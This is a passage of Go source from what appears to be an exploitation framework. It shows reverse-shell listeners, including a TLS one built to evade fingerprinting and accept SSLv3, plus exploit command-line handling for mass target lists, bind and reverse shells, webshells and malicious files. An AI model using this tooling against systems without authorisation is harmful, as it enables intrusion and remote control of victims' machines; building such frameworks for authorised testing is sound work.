time.Sleep(time.Duration(timeout) * time.Second) if !shellServer.Channel().HasSessions() { output.PrintFrameworkError("Timeout met. Shutting down shell listener.") shellServer.Channel().Shutdown.Store(true) } }() // Track if the shutdown is signaled for any reason. go func() { for { if shellServer.Channel().Shutdown.Load() { shellServer.Shutdown() break } time.Sleep(10 * time.Millisecond) } }() // Accept arbitrary connections. In the future we need something for the // user to select which connection to make active for { client, err := shellServer.Listener.Accept() if err != nil { if !strings.Contains(err.Error(), "use of closed network connection") { output.PrintFrameworkError(err.Error()) } break } output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr()) // Add the session for tracking first, so it can be cleaned up. shellServer.Channel().AddSession(&client, client.RemoteAddr().String()) go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel) } } func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, ch *channel.Channel) { // connections will stack up here. Currently that will mean a race // to the next connection but we can add in attacker handling of // connections latter cliLock.Lock() defer cliLock.Unlock() // close the connection when the shell is complete defer conn.Close() // Only complete the full session handshake once if !ch.Shutdown.Load() { output.PrintfFrameworkStatus("Active shell from %v", remoteAddr) cli.Basic(conn, ch) } } ================================================ FILE: c2/sslshell/sslshellserver.go ================================================ // sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell. // // The sslshell can generate it's own server certificate, or the user can provide their own. It's often a smart idea // to provide unique certificate to avoid fingerprinting. To generate the required files you can use openssl: // // openssl genpkey -algorithm RSA -out private_key.pem // openssl req -new -key private_key.pem -out csr.pem // openssl x509 -req -days 365 -in csr.pem -signkey private_key.pem -out certificate.pem // // The private_key.pem and certificate.pem are then provided on the command line like so: // // ./cve-2021-22205_linux-arm64 -e -sslShellServer.PrivateKeyFile private_key.pem -sslShellServer.ServerField certificate.pem ... // // If a certificate is not provide, this c2 will generate one on the fly, but it is likely vulnerable to fingerprinting. // // This c2 can accept multiple connections, but it currently can only handle interacting with one at a time. package sslshell import ( "crypto/tls" "flag" "fmt" "net" "strings" "sync" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/cli" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" ) type Server struct { // The socket the server is listening on Listener net.Listener // The file path to the user provided private key (if provided) PrivateKeyFile string // The file path to the user provided certificate (if provided) CertificateFile string // Upstream c2 channel, used for signaling for shutdowns and status reporting channel *channel.Channel } var singleton *Server // Get a singleton instance of the sslserver c2. func GetInstance() *Server { if singleton == nil { singleton = new(Server) } return singleton } // Create the flags for accepting custom TLS configurations. func (shellServer *Server) CreateFlags() { // some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell). // so first check if these values have already been generated if flag.Lookup("sslShellServer.PrivateKeyFile") == nil { flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server") flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server") } } // Shutdown the C2 and close server and client connections when applicable. func (shellServer *Server) Shutdown() bool { // Account for non-running case if shellServer.Channel() == nil { return true } output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for SSL shell server") if len(shellServer.channel.Sessions) > 0 { for k, session := range shellServer.channel.Sessions { output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr) shellServer.channel.RemoveSession(k) } } shellServer.Listener.Close() return true } // Return the underlying C2 channel with metadata and session information. func (shellServer *Server) Channel() *channel.Channel { return shellServer.channel } // Parses the user provided files or generates the certificate files and starts // the TLS listener on the user provided IP/port. func (shellServer *Server) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } shellServer.channel = channel if channel.IsClient { output.PrintFrameworkError("Called SSLShellServer as a client. Use lhost and lport.") return false } var ok bool var err error var certificate tls.Certificate if len(shellServer.CertificateFile) != 0 && len(shellServer.PrivateKeyFile) != 0 { certificate, err = tls.LoadX509KeyPair(shellServer.CertificateFile, shellServer.PrivateKeyFile) if err != nil { output.PrintfFrameworkError("Error loading certificate: %s", err.Error()) return false } } else { output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") certificate, ok = encryption.GenerateCertificate() if !ok { return false } } output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port) shellServer.Listener, err = tls.Listen( "tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{ Certificates: []tls.Certificate{certificate}, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. MinVersion: tls.VersionSSL30, }) if err != nil { output.PrintfError("Error loading certificate: %s", err.Error()) return false } return true } // Listens for incoming SSL/TLS connections spawns a reverse shell handler for each new connection. func (shellServer *Server) Run(timeout int) { // mutex for user input var cliLock sync.Mutex // terminate the server if no shells come in within timeout seconds go func() { time.Sleep(time.Duration(timeout) * time.Second) if !shellServer.channel.HasSessions() { output.PrintFrameworkError("Timeout met. Shutting down shell listener.") shellServer.channel.Shutdown.Store(true) } }() go func() { for { if shellServer.channel.Shutdown.Load() { shellServer.Shutdown() break } time.Sleep(10 * time.Millisecond) } }() // Accept arbitrary connections. In the future we need something for the // user to select which connection to make active for { client, err := shellServer.Listener.Accept() if err != nil { if !strings.Contains(err.Error(), "use of closed network connection") { output.PrintFrameworkError(err.Error()) } return } output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr()) // Add the session for tracking first, so it can be cleaned up. shellServer.Channel().AddSession(&client, client.RemoteAddr().String()) go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel) } } func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, channel *channel.Channel) { // connections will stack up here. Currently that will mean a race // to the next connection but we can add in attacker handling of // connections latter cliLock.Lock() defer cliLock.Unlock() // close the connection when the shell is complete defer conn.Close() // Only complete the full session handshake once if !channel.Shutdown.Load() { output.PrintfFrameworkStatus("Active shell from %v", remoteAddr) cli.Basic(conn, channel) } } ================================================ FILE: cli/commandline.go ================================================ // Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit. // // Generally most users will not use this package unless implementing a command line helper or new C2 interaction. package cli import ( "bufio" "encoding/json" "flag" "fmt" "io" "net" "os" "strconv" "strings" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/db" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/payload" "github.com/vulncheck-oss/go-exploit/protocol" ) // VulnCheck IPIntel data is shipped in single line JSON blobs. There is substantially more metadata, but // for the purposes of the scann we need to support: // {"ip":"127.0.0.1","port":80,"ssl":false}. type IPIntel struct { IP string `json:"ip"` Port int `json:"port"` SSL bool `json:"ssl"` } // A structure that defines the special flags this exploit implements. type CustomFlag struct { Name string Type string Default string } // Increment the provided IP address. func inc(ip net.IP) { for j := len(ip) - 1; j >= 0; j-- { ip[j]++ if ip[j] > 0 { break } } } // Generate all the IP Addresses specified by the CIDR. This... could consume a decent amount of memory. func generateIPv4CIDR(cidr string) []string { cidrSlice := make([]string, 0) ip, ipNet, err := net.ParseCIDR(cidr) if err != nil { output.PrintFrameworkError(err.Error()) return cidrSlice } for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) { cidrSlice = append(cidrSlice, ip.String()) } return cidrSlice } func buildRhosts(conf *config.Config, rhosts string, rports string) bool { // convert the provided Rports to a slice of int rportsSlice := make([]int, 0) if len(rports) != 0 { splitPorts := strings.Split(rports, ",") for _, port := range splitPorts { portInt, err := strconv.Atoi(port) if err != nil { output.PrintfFrameworkError("Failed to convert provided rports: %s", err) return false } rportsSlice = append(rportsSlice, portInt) } } else { rportsSlice = append(rportsSlice, conf.Rport) } // convert the rhosts csv into a slice of strings rhostsSlice := make([]string, 0) if len(rhosts) != 0 { splitRhosts := strings.Split(rhosts, ",") for _, host := range splitRhosts { if strings.Contains(host, "/") { rhostsSlice = append(rhostsSlice, generateIPv4CIDR(host)...) } else { rhostsSlice = append(rhostsSlice, host) } } } else { rhostsSlice = append(rhostsSlice, conf.Rhost) } // determine the SSL status to assign everything SSL := config.SSLDisabled if conf.SSL { SSL = config.SSLEnabled } else if conf.DetermineSSL { SSL = config.SSLAutodiscover } // convert rhostsSlice and rportsSlices to many RhostTriplet. Obviously // this will consume a lot of memory if you provide a ton of ip/port combos // so probably just don't do that ok? Like 1 million is probably fine, right? // 1 billion, not so much. conf.RhostsNTuple = make([]config.RhostTriplet, 0) for iHost := range rhostsSlice { for iPort := range rportsSlice { triplet := config.RhostTriplet{ Rhost: rhostsSlice[iHost], Rport: rportsSlice[iPort], SSL: SSL, } conf.RhostsNTuple = append(conf.RhostsNTuple, triplet) } } return true } // Converts a CSV / triplet into a config.RhostTriplet to be used by the framework. func parseTriplet(conf *config.Config, line string) bool { triplet := strings.Split(line, ",") if len(triplet) != 3 { output.PrintfFrameworkError("Failed to convert the CSV into a triplet: %s", line) return false } portInt, err := strconv.Atoi(triplet[1]) if err != nil { output.PrintfFrameworkError("Failed to convert the provided rport: %s", triplet[1]) return false } // determine the SSL status to assign everything SSL := config.SSLDisabled if len(triplet[2]) != 0 { SSL = config.SSLEnabled } else if conf.DetermineSSL { SSL = config.SSLAutodiscover } entry := config.RhostTriplet{ Rhost: triplet[0], Rport: portInt, SSL: SSL, } conf.RhostsNTuple = append(conf.RhostsNTuple, entry) return true } // Converts a tuple (e.g. host.com:80) into a config.RhostTriplet to be used by the framework. func parseTuple(conf *config.Config, line string) bool { // Use last index in case line contains an ipv6 address lastIndex := strings.LastIndex(line, ":") if lastIndex == -1 { output.PrintFrameworkError("The tuple doesn't contain a ':' character") return false } portInt, err := strconv.Atoi(line[lastIndex+1:]) if err != nil { output.PrintfFrameworkError("Failed to convert the provided rport: %s", line[lastIndex+1:]) return false } // user configured SSL autodiscovery SSL := config.SSLDisabled if conf.DetermineSSL { SSL = config.SSLAutodiscover } entry := config.RhostTriplet{ Rhost: line[:lastIndex], Rport: portInt, SSL: SSL, } conf.RhostsNTuple = append(conf.RhostsNTuple, entry) return true } // Converts an VulnCheck IP Intel JSON object into a config.RhostTriplet to be used by the framework. func parseIPIntel(conf *config.Config, line string) bool { var intel map[string]interface{} err := json.Unmarshal([]byte(line), &intel) if err != nil { output.PrintfFrameworkError("Failed to unmarshal JSON: %s", line) return false } // determine the SSL status to assign everything SSL := config.SSLDisabled if intel["ssl"].(bool) { SSL = config.SSLEnabled } else if conf.DetermineSSL { SSL = config.SSLAutodiscover } entry := config.RhostTriplet{ Rhost: intel["ip"].(string), Rport: int(intel["port"].(float64)), SSL: SSL, } conf.RhostsNTuple = append(conf.RhostsNTuple, entry) return true } // Consumes a file of remote hosts. The allowed formats are: // 1. ip,port, // 2. ip:port // 3. VulnCheck IP Intel JSON // The file can also be "-" which means stdin. // Return true if conf.RhostsNTuple is not 0. func parseRhostsFile(conf *config.Config, rhostsFile string) bool { hostsFile := os.Stdin if rhostsFile != "-" { tmpHostsFile, err := os.Open(rhostsFile) if err != nil { output.PrintFrameworkError(err.Error()) return false } hostsFile = tmpHostsFile defer hostsFile.Close() } conf.RhostsNTuple = make([]config.RhostTriplet, 0) lineScan := bufio.NewScanner(hostsFile) for lineScan.Scan() { line := lineScan.Text() switch { case strings.HasPrefix(line, "{") && strings.HasSuffix(line, "}"): if !parseIPIntel(conf, line) { return false } case strings.Contains(line, ","): if !parseTriplet(conf, line) { return false } case strings.Contains(line, ":"): if !parseTuple(conf, line) { return false } case len(line) == 0: return len(conf.RhostsNTuple) != 0 default: output.PrintfFrameworkError("Unexpected rhosts-file line: %s", line) return false } } return len(conf.RhostsNTuple) != 0 } // parse the user provided rhosts into config.Config. func handleRhostsOptions(conf *config.Config, rhosts string, rports string, rhostsFile string) bool { if len(rhostsFile) != 0 { return parseRhostsFile(conf, rhostsFile) } // dump the selected user agent to debug output.PrintfFrameworkDebug("Using the HTTP User-Agent: %s", protocol.GlobalUA) return buildRhosts(conf, rhosts, rports) } func commonValidate(conf *config.Config, rhosts string, rports string, rhostsFile string) bool { switch { case len(conf.Rhost) == 0 && len(rhosts) == 0 && len(rhostsFile) == 0: output.PrintFrameworkError("Missing required option 'rhost', 'rhosts', or 'rhosts-file'") return false case conf.Rport == 0 && len(rports) == 0 && len(rhostsFile) == 0: output.PrintFrameworkError("Missing required option 'rport', 'rports', or 'rhosts-file'") return false case len(conf.Rhost) != 0 && len(rhosts) != 0: output.PrintFrameworkError("'rhost' and 'rhosts' are mutually exclusive") return false case len(conf.Rhost) != 0 && len(rhostsFile) != 0: output.PrintFrameworkError("'rhost' and 'rhosts-file' are mutually exclusive") return false case len(rhosts) != 0 && len(rhostsFile) != 0: output.PrintFrameworkError("'rhosts' and 'rhosts-file' are mutually exclusive") return false case !conf.DoVerify && !conf.DoVersionCheck && !conf.DoExploit: output.PrintFrameworkError("Please provide an action (-v, -c, -e)") return false case conf.SSL && conf.DetermineSSL: output.PrintFrameworkError("-a and -s are mutually exclusive") return false } // the user can also specify '-' for stdin which can't be used with os.Stat if len(rhostsFile) != 0 && rhostsFile != "-" { _, err := os.Stat(rhostsFile) if err != nil { output.PrintfFrameworkError("Failed to stat %s: %s", rhostsFile, err) return false } } return true } // command line options for proxying. func proxyFlags(proxy *string) { flag.StringVar(proxy, "proxy", "", "A proxy that will be used for all communication") } // Go can automatically handle HTTP proxying (if HTTP_PROXY env is set) and it can automatically // handle HTTPS proxying (if HTTPS_PROXY env is set). It can't handle normal tcp socket proxying // though, so we'll set ALL_PROXY for that (and handle the logic in protocol/tcpsocket.go). func handleProxyOptions(proxy string) { if len(proxy) == 0 { return } os.Setenv("HTTP_PROXY", proxy) os.Setenv("HTTPS_PROXY", proxy) os.Setenv("ALL_PROXY", proxy) } // command line options for logging. func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLogLevel *string) { flag.BoolVar(&output.FormatJSON, "log-json", false, "Indicates if logging should use JSON") flag.StringVar(logFile, "log-file", "", "The file to write log messages to.") logLevels := "" for key := range output.LogLevels { logLevels += "\n" + key } flag.StringVar(frameworkLogLevel, "fll", "STATUS", "The minimum log level for the framework:"+logLevels) flag.StringVar(exploitLogLevel, "ell", "STATUS", "The minimum log level for the exploit:"+logLevels) } func handleLogOptions(logFile string, frameworkLogLevel string, exploitLogLevel string) bool { value, found := output.LogLevels[frameworkLogLevel] if !found { output.PrintFrameworkError("Invalid framework log level provided") return false } output.SetFrameworkLogLevel(value) value, found = output.LogLevels[exploitLogLevel] if !found { output.PrintFrameworkError("Invalid exploit log level provided") return false } output.SetExploitLogLevel(value) if len(logFile) != 0 && !output.SetOutputFile(logFile) { return false } return true } // command line flags for defining the remote host. func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *string, rports *string) { flag.StringVar(&conf.Rhost, "rhost", "", "The remote target's IP address") flag.StringVar(rhosts, "rhosts", "", "A comma delimited list of remote target IP addresses") flag.StringVar(rhostsFile, "rhosts-file", "", "A CSV file or stdin with a list of targets") // the Rport should be pre-configured to have a default value (see config.go:New()) flag.IntVar(&conf.Rport, "rport", conf.Rport, "The remote target's server port") flag.StringVar(rports, "rports", "", "A comma delimited list of the remote target's server ports") // generic all comms connection timeout flag.IntVar(&protocol.GlobalCommTimeout, "timeout", 10, "A default timeout for all socket communication") // allow the user to use their own HTTP user-agent if they so wish flag.StringVar(&protocol.GlobalUA, "user-agent", protocol.GlobalUA, "The User-Agent to use in HTTP requests") } // command line flags for defining the local host. func localHostFlags(conf *config.Config) { flag.StringVar(&conf.Lhost, "lhost", "", "The IP address the configured c2 will bind to") flag.IntVar(&conf.Lport, "lport", 0, "The port the configured c2 will bind to") } // command line flags that control the exploits behavior. func exploitFunctionality(conf *config.Config) { flag.BoolVar(&conf.DoVerify, "v", false, "Verify the target is "+conf.Product) flag.BoolVar(&conf.DoVersionCheck, "c", false, "Perform a version check before attempting exploitation") flag.BoolVar(&conf.DoExploit, "e", false, "Exploit the target") } // command line flags that control ssl communication with the target. func sslFlags(conf *config.Config) { flag.BoolVar(&conf.SSL, "s", false, "Use https to communicate with the target") flag.BoolVar(&conf.DetermineSSL, "a", false, "Automatically determine if the remote target uses SSL") } // Allow the user to provide the `-db` command to share content across exploits and limit the size of the HTTP cache. func dbFlags(conf *config.Config) { flag.StringVar(&conf.DBName, "db", "", "An SQLite3 DB to share target data across") flag.IntVar(&db.GlobalHTTPRespCacheLimit, "cacheMax", 10*(1024*1024), "The maximum size of an HTTP response that can be cached") } // handle generic sounding c2 flags. func c2Flags(c2Selection *string, conf *config.Config) { flag.BoolVar(&conf.ThirdPartyC2Server, "o", false, "Indicates if the reverse shell should be caught by an outside program (nc, openssl)") if len(conf.SupportedC2) == 0 { // the implementing exploit doesn't support any c2, just exit return } c2Default := conf.SupportedC2[0].Name c2Available := "The C2 server implementation to use. Supported: " for _, value := range conf.SupportedC2 { c2Name := value.Name c2Available += "\n\t" + c2Name // add the supported c2 flags, allowing for command line config of the backend impl, success := c2.GetInstance(value) if success { impl.CreateFlags() } } c2Available += "\n" flag.StringVar(c2Selection, "c2", c2Default, c2Available) // flags unique to remote code execution flag.IntVar(&conf.Bport, "bport", 0, "The port to attach the bind shell to") // checks if the default values have been changed in the exploit directly if conf.C2Timeout != 30 && conf.C2Timeout != 0 { flag.IntVar(&conf.C2Timeout, "t", conf.C2Timeout, "The number of seconds to listen for reverse shells.") } else { flag.IntVar(&conf.C2Timeout, "t", 30, "The number of seconds to listen for reverse shells.") } } // loop through the c2 the exploit supports and find the one the user actually selected. func validateC2Selection(c2Selection string, conf *config.Config) bool { c2Selected, ok := c2.StringToImpl(c2Selection) if !ok { output.PrintFrameworkError("The user provided an invalid c2 implementation") return false } // is this a supported c2? foundSupported := false for _, value := range conf.SupportedC2 { if c2Selected == value { foundSupported = true } } if !foundSupported { output.PrintFrameworkError("The c2 you selected is not supported by this exploit.") return false } conf.C2Type = c2Selected return true } // Print the details of the implementation to the configured log. func printDetails(conf *config.Config) { supportedC2Strings := make([]string, 0) for _, value := range conf.SupportedC2 { supportedC2Strings = append(supportedC2Strings, value.Name) } supportedPayloadsStrings := make([]string, 0) for _, value := range conf.SupportedPayloads { supportedPayloadsStrings = append(supportedPayloadsStrings, value.String()) } customFlags := make([]CustomFlag, 0) for key, value := range conf.StringFlagsMap { customFlags = append(customFlags, CustomFlag{ Name: key, Type: fmt.Sprintf("%T", *value), Default: *value, }) } for key, value := range conf.UintFlagsMap { customFlags = append(customFlags, CustomFlag{ Name: key, Type: fmt.Sprintf("%T", *value), Default: strconv.FormatUint(uint64(*value), 10), }) } for key, value := range conf.IntFlagsMap { customFlags = append(customFlags, CustomFlag{ Name: key, Type: fmt.Sprintf("%T", *value), Default: strconv.Itoa(*value), }) } for key, value := range conf.BoolFlagsMap { customFlags = append(customFlags, CustomFlag{ Name: key, Type: fmt.Sprintf("%T", *value), Default: strconv.FormatBool(*value), }) } output.PrintSuccess("Implementation Details", "ExploitType", fmt.Sprintf("%v", conf.ExType), "AssetDetection", conf.Impl.AssetDetection, "VersionScanner", conf.Impl.VersionScanning, "Exploitation", conf.Impl.Exploitation, "SupportedC2", supportedC2Strings, "SupportedPayloads", supportedPayloadsStrings, "Vendor", conf.Vendor, "Products", conf.Products, "CPE", conf.CPE, "CVE", conf.CVE, "Protocol", conf.Protocol, "DefaultPort", conf.Rport, "CustomFlags", customFlags, ) } // Parses the command line arguments used by RCE exploits. func CodeExecutionCmdLineParse(conf *config.Config) bool { var rhosts string var rhostsFile string var rports string var logFile string var frameworkLogLevel string var exploitLogLevel string var proxy string var c2Selection string dbFlags(conf) proxyFlags(&proxy) loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel) remoteHostFlags(conf, &rhosts, &rhostsFile, &rports) localHostFlags(conf) exploitFunctionality(conf) sslFlags(conf) c2Flags(&c2Selection, conf) addPayloadFlags(conf) detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit") flag.Usage = func() { // banner explaining what the software is fmt.Printf("An exploit for %s %s that can generate a reverse shell or bind shell\n\n", conf.Product, conf.CVE) // print default usage information flag.PrintDefaults() } flag.Parse() if *detailsFlag { printDetails(conf) return false } handleProxyOptions(proxy) // validate remaining command line arguments success := handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) && commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile) // validate a reverse shell or bind shell params are correctly specified if conf.DoExploit { success = validateC2Selection(c2Selection, conf) if rhostsFile == "-" { // this is a pretty dirty check but c2 that use stdin can't be used after piping targets in if conf.C2Type == c2.SimpleShellServer || conf.C2Type == c2.SimpleShellClient || conf.C2Type == c2.HTTPServeShell || conf.C2Type == c2.SSLShellServer { output.PrintFrameworkError("Piping targets via stdin cannot be paired with c2 that uses stdin") success = false } } if conf.Bport == 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) && conf.C2Type.Category != c2.ExternalCategory { output.PrintFrameworkError("Missing exploitation options (bindshell or reverse shell)") success = false } if conf.Bport != 0 && conf.Lport != 0 { output.PrintFrameworkError("User specified both bind shell and reverse shell ports") success = false } } return success } func InformationDisclosureCmdLineParse(conf *config.Config) bool { var rhosts string var rhostsFile string var rports string var logFile string var frameworkLogLevel string var exploitLogLevel string var proxy string dbFlags(conf) proxyFlags(&proxy) loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel) remoteHostFlags(conf, &rhosts, &rhostsFile, &rports) localHostFlags(conf) exploitFunctionality(conf) sslFlags(conf) addPayloadFlags(conf) detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit") flag.Usage = func() { // banner explaining what the software is fmt.Printf("An exploit for %s %s that can leak sensitive data\n\n", conf.Product, conf.CVE) // print default usage information flag.PrintDefaults() // usage examples fmt.Println("Usage example:") fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443") } flag.Parse() if *detailsFlag { printDetails(conf) return false } handleProxyOptions(proxy) return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) && commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile) } func WebShellCmdLineParse(conf *config.Config) bool { var rhosts string var rhostsFile string var rports string var logFile string var frameworkLogLevel string var exploitLogLevel string var proxy string dbFlags(conf) proxyFlags(&proxy) loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel) remoteHostFlags(conf, &rhosts, &rhostsFile, &rports) localHostFlags(conf) exploitFunctionality(conf) sslFlags(conf) addPayloadFlags(conf) detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit") flag.Usage = func() { // banner explaining what the software is fmt.Printf("An exploit for %s %s that drops a webshell\n\n", conf.Product, conf.CVE) // print default usage information flag.PrintDefaults() // usage examples fmt.Println("Usage example:") fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443") } flag.Parse() if *detailsFlag { printDetails(conf) return false } handleProxyOptions(proxy) return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) && commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile) } func loadFileFormatTemplate(templateFilePath string, conf *config.Config) bool { if len(templateFilePath) == 0 { // the user doesn't have to provide an -in. There are plenty of scenarios where I could imagine // the template would be embedded in the exploit. That seems fine to me. return true } fileTemplate, err := os.Open(templateFilePath) if err != nil { output.PrintfFrameworkError("Failed to open the template file: %s", err.Error()) return false } defer fileTemplate.Close() content, err := io.ReadAll(fileTemplate) if err != nil { output.PrintfFrameworkError("Failed to read the template file: %s", err.Error()) return false } conf.FileTemplateData = string(content) if len(conf.FileTemplateData) == 0 { output.PrintfFrameworkError("The template file was empty") return false } return true } // FileFormat doesn't handle any type of remote host configuration. FileFormat exploits just // take an -in and -out, where "in" is expected to be some type of template and "out" is // the file to generate. func FormatFileCmdLineParse(conf *config.Config) bool { var logFile string var frameworkLogLevel string var exploitLogLevel string var templateFile string var c2Selection string loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel) localHostFlags(conf) exploitFunctionality(conf) c2Flags(&c2Selection, conf) addPayloadFlags(conf) detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit") flag.StringVar(&templateFile, "in", "", "The file format template to work with") flag.StringVar(&conf.FileFormatFilePath, "out", "", "The file to write the malicious file to") flag.Usage = func() { // banner explaining what the software is fmt.Printf("An exploit for %s %s that crafts a malicious file\n\n", conf.Product, conf.CVE) // print default usage information flag.PrintDefaults() // usage examples fmt.Println("Usage example:") fmt.Println("\t./exploit -e -in -out ") } flag.Parse() if *detailsFlag { printDetails(conf) return false } if !loadFileFormatTemplate(templateFile, conf) { return false } if len(conf.FileFormatFilePath) == 0 { output.PrintFrameworkError("Must provide an -out parameter") return false } if !conf.DoExploit { output.PrintFrameworkError("Exploitation must be invoked for file format exploits") return false } if conf.DoVerify || conf.DoVersionCheck { output.PrintFrameworkError("Verification and version checking are disabled for file format exploits") return false } // must be validate (to set default for payload gen) and then check third party c2 if !validateC2Selection(c2Selection, conf) { return false } if conf.Lport == 0 || len(conf.Lhost) == 0 { output.PrintFrameworkError("Missing exploitation options (-Lhost or -Lport)") return false } return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) } func LocalCmdLineParse(conf *config.Config) bool { var logFile string var frameworkLogLevel string var exploitLogLevel string var c2Selection string loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel) localHostFlags(conf) exploitFunctionality(conf) c2Flags(&c2Selection, conf) addPayloadFlags(conf) detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit") flag.Usage = func() { // banner explaining what the software is fmt.Printf("An exploit for %s %s that exploits a local vulnerability\n\n", conf.Product, conf.CVE) // print default usage information flag.PrintDefaults() // usage examples fmt.Println("Usage example:") fmt.Println("\t./exploit -e") } flag.Parse() if *detailsFlag { printDetails(conf) return false } // must be validate (to set default for payload gen) and then check third party c2 if !conf.ThirdPartyC2Server && !validateC2Selection(c2Selection, conf) { return false } // For LPE exploits that don't need C2 (e.g., info disclosure, token theft), skip lhost/lport check // if the exploit is configured with no C2 support or third party server if !conf.ThirdPartyC2Server && len(conf.SupportedC2) > 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) { output.PrintFrameworkError("Missing exploitation options (-lhost or -lport)") return false } return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) } func addDefaultPayloadFlags(conf *config.Config) (string, string, map[payload.Type]int, []string, []string) { if len(conf.SupportedPayloads) == 1 { conf.SupportedPayloads[0].Default = payload.Default } hasDefault := false defaultType := "" defaultArch := "" typeOptions := []string{} archOptions := []string{} count := map[payload.Type]int{} for i, supported := range conf.SupportedPayloads { switch supported.Type { case payload.LinuxCommand, payload.WindowsCommand, payload.WindowsPowerShellCommand, payload.MacCommand, payload.GenericCommand: _, exists := conf.StringFlagsMap["command"] if !exists { conf.CreateStringFlag("command", "", "Command to use for the exploit, an empty string will use the exploit default.") } case payload.LinuxELF, payload.LinuxSO, payload.WindowsEXE, payload.WindowsDLL, payload.Webshell: _, exists := conf.StringFlagsMap["payload"] if !exists { conf.CreateStringFlag("payload", "", "Path to load custom payload from, an empty string will use the exploit default.") } case payload.UnspecifiedType: output.PrintFrameworkError("Unspecified payload type used") default: output.PrintFrameworkError("Unexpected payload type used") } count[supported.Type]++ typeOptions = append(typeOptions, supported.Type.String()) archOptions = append(archOptions, supported.Arch.String()) if i == 0 && len(conf.SupportedPayloads) == 1 { defaultType = supported.Type.String() defaultArch = supported.Arch.String() continue } if hasDefault && supported.Default == payload.Default { output.PrintfFrameworkWarn("Multiple default payloads selected, using the first and skipping: %s", supported.Type.String()) continue } if !hasDefault && supported.Default == payload.Default { defaultType = supported.Type.String() defaultArch = supported.Arch.String() } } return defaultType, defaultArch, count, typeOptions, archOptions } // Adds default flags for payload types, this allows classes of payloads that are supported to // use globally defined command line flags without having to redefine them each exploit. func addPayloadFlags(conf *config.Config) { if conf.PayloadFlags { defaultType, defaultArch, count, typeOptions, archOptions := addDefaultPayloadFlags(conf) if len(conf.SupportedPayloads) > 1 { if defaultType == "" { output.PrintFrameworkError("No default payload type was defined.") } conf.CreateStringFlag("payload-type", defaultType, "Payload type to use based on supported types: "+strings.Join(typeOptions, ", ")) for _, v := range count { if v > 1 { conf.CreateStringFlag("payload-arch", defaultArch, "Payload architecture to use based on supported archs: "+strings.Join(archOptions, ", ")) break } } } } } ================================================ FILE: cli/commandline_test.go ================================================ package cli import ( "strings" "testing" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" ) func TestCodeExecutionCmdLineParse(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) conf.Rhost = "rcetest" success := CodeExecutionCmdLineParse(conf) if conf.Rhost != "" { t.Fatal("Rhost should have no default value") } if conf.Rport != 1270 { t.Fatal("Rport should default to passed in value") } if conf.SSL != false { t.Fatal("SSL should default to false") } if conf.DoVerify != false { t.Fatal("verify should default to false") } if conf.DoVersionCheck != false { t.Fatal("version check should default to false") } if conf.DoExploit != false { t.Fatal("exploit should default to false") } if success != false { t.Fatal("parsing should have failed") } if conf.ThirdPartyC2Server != false { t.Fatal("outside should default to false") } if conf.C2Timeout != 30 { t.Fatal("timeout should default to 30") } } func TestCommonValidate(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) var rhosts string var rports string var rhostsFile string if commonValidate(conf, rhosts, rports, 